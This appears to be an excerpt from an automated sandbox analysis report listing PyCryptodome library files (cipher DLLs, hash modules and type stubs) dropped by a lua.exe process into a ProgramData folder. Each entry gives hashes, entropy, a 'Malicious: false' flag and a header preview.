C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_aes.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	35840
Entropy (8bit):	6.59856760757559
Encrypted:	false
SSDEEP:	384:kOISQpPUUllvxL/7v/iKBt5ByU0xGitqzSEkxGG7+tpKHb/LZ7fr52E0H680xz4L:QLh7JbH1G4sS4j990th9VBFI
MD5:	E6C16A8F39EB63EE3C75C3498BCCB35D
SHA1:	B28CFDAB4F11B1AD1FFE52847B275FB3B356FE2A
SHA-256:	6E1AE3D0BAE24C9641D96719EB4E941A6ED17C1E1B90D8B7478D6F7CBF9C4D9F
SHA-512:	DAA2FF6E68FBE8062E46433FDD32382CE88DADCAC400A6882961828583E73BBFBEA1BCA80690B13BA650E9E899B7EF41A86FAAFCCF1719868CDBFDBC07623820
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............................@......................@.......@.......@.......f.......f.......f.......f.......Rich............................PE..d...t.!`.........." .....H...F......T.....................................................`.........................................0...........d...............................0......................................8............`...............................text....G.......H.................. ..`.rdata...5...`...6...L..............@..@.data...H...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..0...........................@..B........................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_aesni.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	15360
Entropy (8bit):	5.181553116220921
Encrypted:	false
SSDEEP:	192:9ne15je/I3TuvPfB1LeLi2jcXdq2QdeJgDZE0DRcYcaKAADLU5YUod:9K2Y6/B1KL4XdQdggDZpEU5YUm
MD5:	39AC37BFCD6145B861A6201620E960FC
SHA1:	EAA251E287B0A40965BB07B5400583B8BFD47139
SHA-256:	5A8D3E59A36F835522D06B3BFBCA2C61DBF8F5093BA70C0DD436C35E9232D0B6
SHA-512:	9A39796AF9C7FACF32D251E89D46BB9386376BD7B6F630842E21F78AA6FADDAA7BE75EB6DFA3EEA36677FC6811630CF687CC7E21D7EB47A47A3B4639AF0F4A17
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F................[........................*.......................................7............Rich....................PE..d...t.!`.........." ......... ......T.....................................................`.........................................p9.......:..d....`.......P...............p..$....1...............................1..8............0.. ............................text............................... ..`.rdata.......0......."..............@..@.data...8....@.......2..............@....pdata.......P.......4..............@..@.rsrc........`.......8..............@..@.reloc..$....p.......:..............@..B................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_arc2.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	5.40089079599851
Encrypted:	false
SSDEEP:	192:QEJe0rPeLTuUt4/wgroOCouz7ucc9dJ7oANokDLU45Gc:KmUGr9n6769UaU45
MD5:	11B6C4E3A2A7BB439B45DB01F0D866AC
SHA1:	23ECF53CC4FD3E07A62ADE57EB284002918E8411
SHA-256:	426296D0002838570BE4647B0D366C4FCE6D4BCCD591BFB43D2A25DDC124166D
SHA-512:	CA0B0868457F1C817ED7E1CED599ADE571519EBEA40BA2EE6B1B060C8F8D1C5D902CADA884836C9A2E45ACBC67240E21968997290EEA50F4911BD7AC051221A6
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F................{........................'....................................................Rich............PE..d...t.!`.........." ....."... ......T.....................................................`.........................................@I.......I..d....p.......`..................$....B...............................B..8............@...............................text...8 .......".................. ..`.rdata.......@.......&..............@..@.data...H....P.......6..............@....pdata.......`.......8..............@..@.rsrc........p.......<..............@..@.reloc..$............>..............@..B........................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_blowfish.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	6.159198790756915
Encrypted:	false
SSDEEP:	192:PUpJ7Grjup/vx81AguKUiZA3OkJYkO8d3KobfoHJAyZJg8D0KThxA+rAQE+tnJiD:j2XKAs3ZArTvHbgpJgLa0Mp8OxhUoz
MD5:	5B49C26E19E3A491A39E310D56A37A8C
SHA1:	96C8A3A42D5B7575A1765E55601A2465CF67C00F
SHA-256:	0DCD42491A75435A9C4B1A01539A72769A33F85B2FFB90D73017DB571684BCF1
SHA-512:	D7B5EEBC088ADB31D083BD445282CBD2F00FD7D1EC1D574CE5DD017CA8C9DCB1BD307A1D33529AAE39508EBE1F5D28B9BA82F2D029D1AE8E1E130DA6F53075CD
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F................{........................'....................................................Rich............PE..d...u.!`.........." .....$..........T.....................................................`..........................................X.......Y..d............p..................0....Q...............................R..8............@...............................text...H#.......$.................. ..`.rdata.......@.......(..............@..@.data...H....`.......F..............@....pdata.......p.......H..............@..@.rsrc................L..............@..@.reloc..0............N..............@..B........................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_cast.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	24576
Entropy (8bit):	6.493183568458379
Encrypted:	false
SSDEEP:	384:yksGDsFSQkHUleKaZXmrfXA+UA10ol31tuX7QkUdT:lTK0K4XmrXA+NNxWrUd
MD5:	AF2A0A947968B4D7A28B22D5B1EB4AD8
SHA1:	B07888D3DBBB489AFB6FC1A8BF9AEA8F49F2436D
SHA-256:	901CC42B6B49B18AAC3D5452BE9142399833AD0C6DE4FB53D41309BF07974FD1
SHA-512:	B3F1CE32D91C644A7965F686AC5F41617B97007B53463557F76D306D92267D04CC6052C9DCA222B5D27468595A3536D288FE6A4260BC08B66E551E7976F6FAA2
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F................K........................&.......................................'............Rich....................PE..d...u.!`.........." .....$...>............................................................`.........................................@h.......h..d...............................0....a...............................a..8............@...............................text...x".......$.................. ..`.rdata...,...@.......(..............@..@.data...H....p.......V..............@....pdata...............X..............@..@.rsrc................\..............@..@.reloc..0............^..............@..B................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_cbc.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	4.700766824518145
Encrypted:	false
SSDEEP:	192:6h05p7mr3Tutd9PUv2anKfI1v/86rYDLUa:eD6t/GKfev0TUa
MD5:	FF9B1E03922361E0A8BE65E5E1421AAC
SHA1:	D4D674FB4E0214903E341E98613328D51AFF9054
SHA-256:	2A5AB7F23554F497693CA81A5E5F21647B10FD8B9E00B8377D8385DC15A9C4DF
SHA-512:	8CBBBBDC9A3D9E866DC88A655A75317F58CB4A49CB262975FF8C4AE5D47C344B86F69F6D2FC369DD7AA8AD7FCAA40D1937320E7E4F5923A03A39459B7BB247C0
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F................{........................'....................................................Rich............PE..d...w.!`.........." ................T.....................................................`..........................................7.......8..d....`.......P..X............p..$....1...............................1..8............0...............................text............................... ..`.rdata.......0......................@..@.data...H....@.......&..............@....pdata..X....P.......(..............@..@.rsrc........`.......,..............@..@.reloc..$....p......................@..B........................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_cfb.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13312
Entropy (8bit):	4.9938170073770625
Encrypted:	false
SSDEEP:	192:D3rdk3qQb3GukBPZCLfSQU+x5DLUzbgd6:0NzFkHCLBUzbO
MD5:	06358818F111A1C8E1B76D60A650C997
SHA1:	5BBAF40AEB932766346631DF25D887264AAD7AC2
SHA-256:	B5438682A4C6BF57DCAAD2835A9A293F712284FBE1AF4BA6059011396CDBD180
SHA-512:	F954B4E56E3ACE2C8E0961149CB5BD433F35530BC1C5E38EC5D2223EC3591DF0998903B3928668C5D8C05F16EAA1C2ADF41FC999690C42DAFA794800FC4B193E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............................@....................@......@......@......f......f......f.~.....f......Rich....................PE..d...w.!`.........." ................T.....................................................`..........................................8......H9..d....`.......P..d............p..$....1...............................1..8............0...............................text............................... ..`.rdata.......0......................@..@.data...H....@.......*..............@....pdata..d....P.......,..............@..@.rsrc........`.......0..............@..@.reloc..$....p.......2..............@..B................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_ctr.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14848
Entropy (8bit):	5.2750845012369965
Encrypted:	false
SSDEEP:	192:HtVGzeoI3DuzPpcAdXdO57EEE/quBiFElXUNIDLUnF6+ud:4NYqFcAdXdDqurdUnUp
MD5:	6ADF70FD22D5CA90269466E5FC2ACA2B
SHA1:	1D4CDF2B08154B33738C5244A8886284C71693B9
SHA-256:	2F9DFA9DE351BFE553DDE60AE891E9B54A2E08546D723C7165234FD41C3CEED4
SHA-512:	EFBD7133E5B5EF035F5A09D92B3B12D3AD367D6C35856A842536102D36A1EF53AFE62EA3C3A5A4AE641BB28B6CAAED18AFA3519A637AA36F71F71979D4F61239
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........o....................@......................@.......@.......@.......f.......f.......f.......f.......Rich............................PE..d...x.!`.........." ......... ......T.....................................................`.........................................P9.......:..d....`.......P...............p..$....1...............................1..8............0.. ............................text............................... ..`.rdata.......0....... ..............@..@.data........@.......0..............@....pdata.......P.......2..............@..@.rsrc........`.......6..............@..@.reloc..$....p.......8..............@..B........................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_des.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	56832
Entropy (8bit):	4.230283793776799
Encrypted:	false
SSDEEP:	384:z3gj0/sz71dv/ZHkVnYcZiGKdZHDLIK4vnKAnKorZVzUbq+K9:0jssHZHTr4vZAb69
MD5:	8F33EE07D30DF3D71A9675F38125FF5E
SHA1:	96F6357FA0889E48A366F3221FA89296EAD30924
SHA-256:	E8BBA44E491162904DC067BD586B02A910DB9E11878F5CC3BE3D11E1BA38C304
SHA-512:	E99ED5604C982EC840AF9FF66F38D67916351D20938ED9AC8AF47CCA49245A8008D73CCA61BEAFEE0DF8472C0284EF54429D5242509F0D7787EA6234052EA8F3
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Sj..2...2...2...J...2..LC...2...Y...2...2...2..LC...2..LC...2..LC...2..j@...2..j@...2..j@...2..j@...2..Rich.2..........................PE..d...v.!`.........." .....6...................................................0............`.....................................................d...............l............ ..0... ...............................@...8............P...............................text....5.......6.................. ..`.rdata..T....P.......:..............@..@.data...H...........................@....pdata..l...........................@..@.rsrc...............................@..@.reloc..0.... ......................@..B........................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_des3.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	4.251322027244203
Encrypted:	false
SSDEEP:	384:ZVgj0/sKzNweVC/ZHkNnYcZiGKdZHDLaK0vnKAnKLrZSwUbqeo:AjsskKZHLR0vZFbx
MD5:	D196B5458175CDE8EB9EB6FC3407BDCD
SHA1:	BDEC1ED3CD5E1D7D1CC03332734566B7965E2D48
SHA-256:	4B9A7E83B59B2D5F84C029660658C9A103FE79CF5F5FE45C0027C0DE5E09FD11
SHA-512:	C649454309E75A27138B3670EB0F3F6519F56F86562D44ACE4CD5593060FA0EF697B07DB57BEAFBFDC6F31384ED290F0B10845FA2C0765139C9F6B2212E0BEEA
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Sj..2...2...2...J...2..LC...2...Y...2...2...2..LC...2..LC...2..LC...2..j@...2..j@...2..j@...2..j@...2..Rich.2..........................PE..d...v.!`.........." .....8...................................................0............`.................................................`...d............................ ..0... ...............................@...8............P...............................text...h7.......8.................. ..`.rdata.......P.......<..............@..@.data...H...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..0.... ......................@..B........................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_ecb.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	4.690783103541396
Encrypted:	false
SSDEEP:	96:5S8MdJTCaDAH37Belrzu1x/r8qJ7pfJsPG6QxmFWymc3doKKumsLVsDJ9UKvL:MTdJTlDmNelrzuLFf0Qg4yxmumQCDLU
MD5:	64F6350FC1145DB6337A9E3DFB83222F
SHA1:	FEA799C3F2A655D5104A46B788D98EA272557AE5
SHA-256:	821A86630238BEAF4E303196CE26A250EF873F7A98B92644566B3C7D683D400E
SHA-512:	58F90099630B98A632DB38D7CC4A2F44C70BB012F55B3B5A69DFFC3A76F6A2B30AB81D678B95E807C135B96633A0D8ED83428924A1C9D1DFDB7F2A3962A44D31
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........mr..............t......,}.......g..............,}......,}......,}.......~.......~.......~.......~......Rich............................PE..d...w.!`.........." ................T........................................p............`..........................................&.......'..P....P.......@...............`..$....!...............................!..8............ ...............................text............................... ..`.rdata..p.... ......................@..@.data...H....0....... ..............@....pdata.......@......."..............@..@.rsrc........P.......$..............@..@.reloc..$....`.......&..............@..B........................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_eksblowfish.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	21504
Entropy (8bit):	6.2360237881858795
Encrypted:	false
SSDEEP:	384:j2XHEtPwbdvIbwKBBEHYpJgLa0Mp8N9sLgU:aHMobBiB+HqgLa1Px
MD5:	861A67653300202FD334C3F62B67618D
SHA1:	9E8DEA46DBBCCD58D242E464A7A757978B01557F
SHA-256:	1FB0D213B448F87889B273122E4A7957D33F80E2F268E9EB7819E0C58491CB27
SHA-512:	80A388254A0CABEC2982757B271D7C13895485880692BF731F350519D3B15803DF19A775807FB2FF220CC4CE7320F06835917E344BD486D32A3229B5A9B34464
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F................{........................'....................................................Rich............PE..d...u.!`.........." .....(..........T.....................................................`..........................................X.......Y..d............p..................0....Q...............................R..8............@...............................text....'.......(.................. ..`.rdata.......@.......,..............@..@.data...H....`.......J..............@....pdata.......p.......L..............@..@.rsrc................P..............@..@.reloc..0............R..............@..B........................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_ocb.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	17920
Entropy (8bit):	5.285842616672411
Encrypted:	false
SSDEEP:	384:QxQrFBe/i+/puqeXOv3oTezczeO9p9iY+WYLJzUn:j5B8txuqeXOfoTezcSO9pUYCJY
MD5:	9CF1780E69E1BF2DF2487B4DE72806E5
SHA1:	0955D77AFB6A8E786DCBBF4F0B5B221BC302C6C8
SHA-256:	59CF35C376F312B1C6A5844F0740FCAE4CAAA5A3D3CD0E953959B5F4190A475D
SHA-512:	B1C4E6841C739FCCC86E95DA53AE10C3EFA18F3A747B8E92883E7224CBE4F44016102FB6F713AA4345BA37DBF7C07D5517DFE9D564E2D4D120D154FD7DE717F9
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F.f.......................................$....................................................Rich....................PE..d...x.!`.........." .....(... ......T.....................................................`.........................................@I......<J..d....p.......`..................$....A...............................A..8............@...............................text....'.......(.................. ..`.rdata.......@.......,..............@..@.data........P.......<..............@....pdata.......`.......>..............@..@.rsrc........p.......B..............@..@.reloc..$............D..............@..B................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_ofb.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	4.6963922145739225
Encrypted:	false
SSDEEP:	192:p05p7mr3Tutd9PUv22NeLfPIxk3bo7tDLUan:5D6t/N4i3bEZUan
MD5:	670C2BAF75E559B89435283298F75BEF
SHA1:	BE1E5A0711C6C0BB1E2AEF4ED18A15ED5759B027
SHA-256:	236650FC42B347B9CAA5E3A84A13DA9E40586D97762F87730C9016DCB81ABF06
SHA-512:	52554FE5308F7B758B66B48262AAE1C180191358E15FDD85B7D5EF47A35677E079C3EF6A54E63D1520038BBFC79BAD5B2534B1C2808217FFB53C55B7E8862FDB
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F................{........................'....................................................Rich............PE..d...x.!`.........." ................T.....................................................`..........................................7.......8..d....`.......P..X............p..$....1...............................1..8............0...............................text............................... ..`.rdata.......0......................@..@.data...H....@.......&..............@....pdata..X....P.......(..............@..@.rsrc........`.......,..............@..@.reloc..$....p......................@..B........................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\BLAKE2b.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	9671
Entropy (8bit):	4.704146546889162
Encrypted:	false
SSDEEP:	192:9qrskrs9t3q/IYRDPyZmiCbebOg5n8znjoqOGoLk:0rskrs9VqVwUbbeSg58zjoqOFI
MD5:	FDA569C226B9ADA6560AA2B3E28E9646
SHA1:	101F949C60ABEEDA62ADD4CABCBFCE83E5877C29
SHA-256:	5956D3582B3ABDFA1BD0DE0F1575A8978BC4B7B3C47CA0C20CD469C008CF862C
SHA-512:	8ABC586D3663917FCE369C1D3F4D4E75857CD7D8C9ECB941E5FA732A4A3E2E993193FCD3342E331957DF4C83BA3699D7D37EB7111DE93F876594336BAC8D2BEC
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\BLAKE2b.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.746996288581479
Encrypted:	false
SSDEEP:	24:1RE6T37rEWAnm1WWLB/qs/qn/HLB/M4LB/1/s/3LB/QVP:jDQxMB/qs/qn/rB/MGB/1/s/7B/QVP
MD5:	90E04684258D15A5DC6C1E82CD0CAC9E
SHA1:	FDA554FA52FF6EE5DBEF93923CE5CD343A972D63
SHA-256:	41F75D5BF7915141576D81B48A5EA6971651136161FAE2504C9E789881EC5729
SHA-512:	9C44F4E7E55A3A49E876816C079495CA085C45F8D3EB0B08518DD5E8F2112F6EE3B36BFF33C19B24A6E816060812B079F5A3BFB2445B69E7080855D6BE4A1659
Malicious:	false
Preview:	from typing import Any, Union....Buffer = Union[bytes, bytearray, memoryview]....class BLAKE2b_Hash(object):.. block_size: int.. digest_size: int.. oid: str.... def __init__(self,.. data: Buffer,.... key: Buffer,.... digest_bytes: bytes,.... update_after_digest: bool) -> None: ..... def update(self, data: Buffer) -> BLAKE2b_Hash: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def verify(self, mac_tag: Buffer) -> None: ..... def hexverify(self, hex_mac_tag: str) -> None: ..... def new(self,.. data: Buffer = ...,... digest_bytes: int = ...,... digest_bits: int = ...,... key: Buffer = ...,... update_after_digest: bool = ...) -> BLAKE2b_Hash: .......def new(data: Buffer = ...,...digest_bytes: int = ...,...digest_bits: int = ...,...key: Buffer = ...,...update_after_digest: bool = ...) -> BLAKE2b_Hash: .....

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\BLAKE2s.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	9677
Entropy (8bit):	4.694357352499119
Encrypted:	false
SSDEEP:	192:9qrskrs9t3q/IFU1Uy9XiCJ5bfD5Z8znjJQfgdT:0rskrs9VqIARbJ5DD52zjJQfgx
MD5:	A2B58D4C5D1A2090DBF839D74B026F07
SHA1:	4F2A167158A812D4C33C509B5F6A63EC83BF731E
SHA-256:	AA273C310C3C7C9F49D3B53E60037C254503AA65CFEE8DA41E189E2FFE395490
SHA-512:	256FA12F22C56CF40077C384B5AA4634DAE3AAF386D97C86A9188CF3237F6FFE311667975EF05E12C237793E92755FAEDCCFDE862FD87D15217E625119D6BDEB
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\BLAKE2s.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	765
Entropy (8bit):	4.852088276642615
Encrypted:	false
SSDEEP:	12:1REYBPvIY3MRyaRyLu1ApV2+tCwF5RwW0WFWIZyp4LB/d3/i3/3LB/QVxI:1RE6T3QrEWAnJ1Wr4LB/1/s/3LB/QVi
MD5:	43A377A44F7A80190635F78E745C64C3
SHA1:	FDDEC7439E99FF7376364061B817E985EC291550
SHA-256:	25933F08745028C43450B44E6926A00942023E68BF934D2A4D032B8F9557C251
SHA-512:	8C087F9A1BFF5B0F48A2B766CB4B81BBEF8D18461C9369C71F4431D90343822099A6DAFD74DA565D53D43131A727228BB8487C8503ADC4573E585187B76BDE5C
Malicious:	false
Preview:	from typing import Any, Union....Buffer = Union[bytes, bytearray, memoryview]....class BLAKE2s_Hash(object):.. block_size: int.. digest_size: int.. oid: str.... def __init__(self,.. data: Buffer,.... key: Buffer,.... digest_bytes: bytes,.... update_after_digest: bool) -> None: ..... def update(self, data: Buffer) -> BLAKE2s_Hash: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def verify(self, mac_tag: Buffer) -> None: ..... def hexverify(self, hex_mac_tag: str) -> None: ..... def new(self, **kwargs: Any) -> BLAKE2s_Hash: .......def new(data: Buffer = ...,...digest_bytes: int = ...,...digest_bits: int = ...,...key: Buffer = ...,...update_after_digest: bool = ...) -> BLAKE2s_Hash: .....

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\CMAC.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	10653
Entropy (8bit):	4.693201886198827
Encrypted:	false
SSDEEP:	96:HJqFQHvo7ESYvHPXmAzr5zkZYewd/3SIzODA/u42MZcpFYR4Aeqt86+:HJYQHvqAzhkZYPN17ZVvP+
MD5:	3EB2A61175CF5D59F03F53C9DED1E568
SHA1:	490B1822F705144BA6A126D3DF9EDB2EB5BE5573
SHA-256:	C76C6DDEDCB90107CE01086B065EF105B9570B890162194F858928006C5851DD
SHA-512:	819B6041FC9A8DBA183BAB3704BD04356F2650489C69FBF59EFBCB9950532126C228BF65DBB73B9A9A05E212741E9AD93708741A9A7A75A741A7A59F0699F660
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# Hash/CMAC.py - Implements the CMAC algorithm..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# =============

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\CMAC.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	827
Entropy (8bit):	4.761907013968994
Encrypted:	false
SSDEEP:	24:1RM7C8T3xFFAo64yyW1W2oILB/jHV/vS/Iqw+y:cthf2VB/B/vS/Zw/
MD5:	7D84CBAE365BF5F72672C907FDBC23CF
SHA1:	5651C7F68B762A7A421D66BA39E77DB149B8A95F
SHA-256:	B4D224A81BC8F30874C75B477D2A2055D3DABFE81140F196BB62A3A464BBB783
SHA-512:	659C75C7C479CBED13F91C186366D160F80EC09E1FBAA9237826D27B094BE8170C255B00B8235B3FC7DBFA1465845CA1C46BCC92420CEDCE81D0C533D7810244
Malicious:	false
Preview:	from types import ModuleType..from typing import Union, Dict....Buffer = Union[bytes, bytearray, memoryview]....digest_size: int....class CMAC(object):.. digest_size: int.... def __init__(self,.... key: Buffer,.. msg: Buffer,.... ciphermod: ModuleType,.... cipher_params: dict,.. mac_len: int, update_after_digest: bool) -> None: ..... def update(self, data: Buffer) -> CMAC: ..... def copy(self) -> CMAC: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def verify(self, mac_tag: Buffer) -> None: ..... def hexverify(self, hex_mac_tag: str) -> None: .........def new(key: Buffer,.. msg: Buffer = ...,...ciphermod: ModuleType = ...,...cipher_params: Dict = ...,...mac_len: int = ...,.. update_after_digest: bool = ...) -> CMAC: .....

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\HMAC.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	7237
Entropy (8bit):	4.883193404390149
Encrypted:	false
SSDEEP:	96:5J0YDqrYJALrYJHdt3EHGuIWH8EwSY8s9MivBrR8ba/jVtbOixcS2FG2Mz/1FEth:5JLqrskrs9t3q/I0GNRSqzneLl
MD5:	867DC991AEE6554006831EB3830DDBCB
SHA1:	6FDD2FC758252C2FDB8DDB593C376ADE60096801
SHA-256:	7223259365A75E05BAAE2AD7621D85E13F8ABEAAC4F8098E962B51532F91AD5A
SHA-512:	C773917CEBB99C9136A65C8BD902295B3F9DE433858589FBB0AAFA661D290AD77129D4A25E1AD32DDCCF51E643C44D77E5915C907BA295253DA9CD2D3CB9411D
Malicious:	false
